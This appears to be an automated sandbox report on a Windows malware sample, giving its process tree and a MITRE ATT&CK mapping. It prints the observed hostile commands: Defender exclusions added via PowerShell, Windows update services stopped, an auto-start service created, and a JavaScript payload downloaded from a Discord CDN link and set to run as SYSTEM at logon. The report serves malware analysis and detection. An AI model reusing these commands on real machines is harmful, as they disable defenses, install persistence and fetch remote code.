        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        6⤵
        
        PID:4900
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        7⤵
        
        PID:3324
        
        C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        7⤵
        
        PID:2292
      - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        6⤵
        Delays execution with timeout.exe
        
        PID:3032
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        6⤵
        
        PID:1480
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        7⤵
        
        PID:4436
        
        C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        7⤵
        
        PID:2584
      - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        6⤵
        
        PID:3548
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        6⤵
        
        PID:2024
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        7⤵
        
        PID:4660
        
        C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        7⤵
        
        PID:2412
      - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        6⤵
        Delays execution with timeout.exe
        
        PID:4936
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        6⤵
        
        PID:3088
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        7⤵
        
        PID:3540
        
        C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        7⤵
        
        PID:4772
      - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        6⤵
        Delays execution with timeout.exe
        
        PID:4608
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        6⤵
        
        PID:2472
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        7⤵
        
        PID:3988
        
        C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        7⤵
        
        PID:4304
      - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        6⤵
        
        PID:3388
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        6⤵
        
        PID:2460
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        7⤵
        
        PID:2380
        
        C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        7⤵
        
        PID:2884
      - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        6⤵
        Delays execution with timeout.exe
        
        PID:2336
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        6⤵
        
        PID:4552
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        7⤵
        
        PID:1864
        
        C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        7⤵
        
        PID:2488
      - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        6⤵
        
        PID:4716
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        6⤵
        
        PID:1416
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        7⤵
        
        PID:2900
        
        C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        7⤵
        
        PID:2068
      - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        6⤵
        Delays execution with timeout.exe
        
        PID:4792
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        6⤵
        
        PID:5040
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        7⤵
        
        PID:2196
        
        C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        7⤵
        
        PID:4312
      - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        6⤵
        Delays execution with timeout.exe
        
        PID:4860
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        6⤵
        
        PID:1184
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        7⤵
        
        PID:3324
        
        C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        7⤵
        
        PID:3312
      - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        6⤵
        
        PID:1612
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        6⤵
        
        PID:2460
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        7⤵
        
        PID:2256
        
        C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        7⤵
        
        PID:3236
      - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        6⤵
        Delays execution with timeout.exe
        
        PID:3920
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        6⤵
        
        PID:1500
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        7⤵
        
        PID:4552
        
        C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        7⤵
        
        PID:2804
      - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        6⤵
        
        PID:4444
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        6⤵
        
        PID:220
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        7⤵
        
        PID:3332
        
        C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        7⤵
        
        PID:3912
      - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        6⤵
        Delays execution with timeout.exe
        
        PID:5100
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        6⤵
        
        PID:2196
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        7⤵
        
        PID:4152
        
        C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        7⤵
        
        PID:4860
      - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        6⤵
        
        PID:3472
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        6⤵
        
        PID:2696
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        7⤵
        
        PID:2472
        
        C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        7⤵
        
        PID:1604
      - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        6⤵
        
        PID:4548
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        6⤵
        
        PID:4168
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        7⤵
        
        PID:648
        
        C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        7⤵
        
        PID:1292
      - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        6⤵
        
        PID:1036
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        6⤵
        
        PID:4748
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        7⤵
        
        PID:4660
        
        C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        7⤵
        
        PID:2852
      - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        6⤵
        Delays execution with timeout.exe
        
        PID:4772
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        6⤵
        
        PID:960
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        7⤵
        
        PID:3532
        
        C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        7⤵
        
        PID:2436
      - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        6⤵
        Delays execution with timeout.exe
        
        PID:1408
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        6⤵
        
        PID:2292
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        7⤵
        
        PID:4152
        
        C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        7⤵
        
        PID:956
      - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        6⤵
        Delays execution with timeout.exe
        
        PID:796
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        6⤵
        
        PID:2064
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        7⤵
        
        PID:440
        
        C:\Windows\system32\WerFault.exe
        
        C:\Windows\system32\WerFault.exe -u -p 440 -s 328
        8⤵
        Checks processor information in registry
        Enumerates system info in registry
        
        PID:3756
        
        C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        7⤵
        
        PID:72
      - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        6⤵
        
        PID:3004
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        6⤵
        
        PID:996
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        7⤵
        
        PID:864
        
        C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        7⤵
        
        PID:4872
      - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        6⤵
        Delays execution with timeout.exe
        
        PID:2520
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        6⤵
        
        PID:2768
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        7⤵
        
        PID:3540
        
        C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        7⤵
        
        PID:1656
      - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        6⤵
        
        PID:4588
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        6⤵
        
        PID:4976
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        7⤵
        
        PID:1448
        
        C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        7⤵
        
        PID:3276
      - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        6⤵
        Delays execution with timeout.exe
        
        PID:4416
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        6⤵
        
        PID:2076
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        7⤵
        
        PID:1244
        
        C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        7⤵
        
        PID:3136
      - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        6⤵
        Delays execution with timeout.exe
        
        PID:1184
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        6⤵
        
        PID:4000
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        7⤵
        
        PID:1292
        
        C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        7⤵
        
        PID:332
      - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        6⤵
        
        PID:2900
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        6⤵
        
        PID:3608
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        7⤵
        
        PID:3088
        
        C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        7⤵
        
        PID:3432
      - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        6⤵
        Delays execution with timeout.exe
        
        PID:2384
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        6⤵
        
        PID:4544
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        7⤵
        
        PID:2152
        
        C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        7⤵
        
        PID:3988
      - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        6⤵
        
        PID:4176
  - - C:\Users\Admin\AppData\Roaming\a45d23ip.c3c1.exe
      "C:\Users\Admin\AppData\Roaming\a45d23ip.c3c1.exe"
      4⤵
      Suspicious use of NtCreateUserProcessOtherParentProcess
      Executes dropped EXE
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of WriteProcessMemory
      PID:3376
  - - C:\Users\Admin\AppData\Roaming\a45d23ip.c3c2.exe
      "C:\Users\Admin\AppData\Roaming\a45d23ip.c3c2.exe"
      4⤵
      Executes dropped EXE
      Drops file in System32 directory
      Suspicious use of SetThreadContext
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:332
    - - C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
        
        C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2548
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:3900
      - C:\Windows\system32\wusa.exe
        
        wusa /uninstall /kb:890830 /quiet /norestart
        6⤵
        
        PID:3528
    - - C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe stop UsoSvc
        5⤵
        Launches sc.exe
        
        PID:2224
    - - C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe stop WaaSMedicSvc
        5⤵
        Launches sc.exe
        
        PID:5016
    - - C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe stop wuauserv
        5⤵
        Launches sc.exe
        
        PID:2732
    - - C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe stop bits
        5⤵
        Launches sc.exe
        
        PID:4848
    - - C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe stop dosvc
        5⤵
        Launches sc.exe
        
        PID:3920
    - - C:\Windows\system32\powercfg.exe
        
        C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
        5⤵
        Power Settings
        Suspicious use of AdjustPrivilegeToken
        
        PID:1388
    - - C:\Windows\system32\powercfg.exe
        
        C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
        5⤵
        Power Settings
        Suspicious use of AdjustPrivilegeToken
        
        PID:4592
    - - C:\Windows\system32\powercfg.exe
        
        C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
        5⤵
        Power Settings
        Suspicious use of AdjustPrivilegeToken
        
        PID:4760
    - - C:\Windows\system32\powercfg.exe
        
        C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
        5⤵
        Power Settings
        Suspicious use of AdjustPrivilegeToken
        
        PID:4192
    - - C:\Windows\system32\dialer.exe
        
        C:\Windows\system32\dialer.exe
        5⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:4340
    - - C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe delete "AAWUFTXN"
        5⤵
        Launches sc.exe
        
        PID:1732
    - - C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe create "AAWUFTXN" binpath= "C:\ProgramData\acspebqjhjkn\gjouiuwovvdx.exe" start= "auto"
        5⤵
        Launches sc.exe
        
        PID:2380
  - - C:\Users\Admin\AppData\Roaming\a45d23ip.c3c3.exe
      "C:\Users\Admin\AppData\Roaming\a45d23ip.c3c3.exe"
      4⤵
      Executes dropped EXE
      Suspicious use of WriteProcessMemory
      PID:4688
    - - C:\Windows\system32\cmd.exe
        
        "C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\6978.tmp\6988.tmp\6989.bat C:\Users\Admin\AppData\Roaming\a45d23ip.c3c3.exe"
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:3012
      - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        6⤵
        
        PID:4452
      - C:\Windows\system32\where.exe
        
        where node
        6⤵
        
        PID:844
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Invoke-WebRequest -Uri 'https://nodejs.org/dist/v20.12.2/node-v20.12.2-x64.msi' -OutFile 'nodejs-installer.msi'"
        6⤵
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:3124
      - C:\Windows\system32\msiexec.exe
        
        msiexec /i nodejs-installer.msi /quiet
        6⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:4544
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Invoke-WebRequest -Uri 'https://cdn.discordapp.com/attachments/1249224125830922300/1249224157745516664/index.js?ex=666dc668&is=666c74e8&hm=5dfd52c5327ffb2554e248dcb902443533012613ad4f330995dc83169665440c&' -OutFile 'C:\Users\Admin\AppData\Local\Temp\chrome2\index.js'"
        6⤵
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        
        PID:1412
      - C:\Windows\system32\schtasks.exe
        
        schtasks /Create /SC ONLOGON /TN "RunNodeScriptAtLogon" /TR "node.exe 'C:\Users\Admin\AppData\Local\Temp\chrome2\index.js'" /RU SYSTEM /F
        6⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:4924

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
1⤵
PID:3420

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo
1⤵
PID:3452

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:3848

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:3932

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:3968

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UdkSvcGroup -s UdkUserSvc
1⤵
PID:4044

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{973D20D7-562D-44B9-B70B-5A0F49CCDF3F}
1⤵
PID:4196

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k osprivacy -p -s camsvc
1⤵
PID:4368

C:\Windows\system32\SppExtComObj.exe
C:\Windows\system32\SppExtComObj.exe -Embedding
1⤵
PID:4700

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
1⤵
PID:1472

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV
1⤵
PID:424

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc
1⤵
PID:1268

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
1⤵
PID:3572

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc
1⤵
- Modifies data under HKEY_USERS
PID:1584

C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe
"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service
1⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:1804

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
1⤵
PID:3496

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:4984

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:2988

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s PcaSvc
1⤵
PID:2272

C:\Windows\system32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
1⤵
- Blocklisted process makes network request
- Enumerates connected drives
- Drops file in Program Files directory
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious use of AdjustPrivilegeToken
PID:4088
- C:\Windows\System32\MsiExec.exe
  C:\Windows\System32\MsiExec.exe -Embedding A326D65CC23DA19725784D1144F4138A
  2⤵
  - Loads dropped DLL
  PID:4860
- C:\Windows\System32\MsiExec.exe
  C:\Windows\System32\MsiExec.exe -Embedding BA964EE366F34D8FAD7F108305830249 E Global\MSI0000
  2⤵
  - Loads dropped DLL
  PID:4704
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding A0624812E7AF051FDA98A15E865D09E1
  2⤵
  - Loads dropped DLL
  PID:4552

C:\Windows\system32\wbem\wmiprvse.exe
C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
1⤵
PID:2960

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{AB8902B4-09CA-4BB6-B78D-A8F59079A8D5}
1⤵
PID:2288

C:\Windows\system32\backgroundTaskHost.exe
"C:\Windows\system32\backgroundTaskHost.exe" -ServerName:App.AppXmtcan0h2tfbfy7k9kn8hbxb6dmzz1zh0.mca
1⤵
PID:3392

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k WerSvcGroup
1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
PID:3356
- C:\Windows\system32\WerFault.exe
  C:\Windows\system32\WerFault.exe -pss -s 436 -p 3104 -ip 3104
  2⤵
  - Suspicious use of NtCreateProcessExOtherParentProcess
  PID:3432
- C:\Windows\system32\WerFault.exe
  C:\Windows\system32\WerFault.exe -pss -s 408 -p 3068 -ip 3068
  2⤵
  PID:4864
- C:\Windows\system32\WerFault.exe
  C:\Windows\system32\WerFault.exe -pss -s 356 -p 2472 -ip 2472
  2⤵
  PID:4896
- C:\Windows\system32\WerFault.exe
  C:\Windows\system32\WerFault.exe -pss -s 400 -p 440 -ip 440
  2⤵
  PID:3124

C:\Windows\system32\backgroundTaskHost.exe
"C:\Windows\system32\backgroundTaskHost.exe" -ServerName:App.AppXmtcan0h2tfbfy7k9kn8hbxb6dmzz1zh0.mca
1⤵
PID:1856

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

System Services

T1569

Service Execution

T1569.002

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Power Settings

T1653

Scheduled Task/Job

T1053

Scheduled Task

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Scheduled Task

Defense Evasion

Impair Defenses

T1562

Credential Access

Discovery

Peripheral Device Discovery

T1120

Process Discovery

T1057

Query Registry

System Information Discovery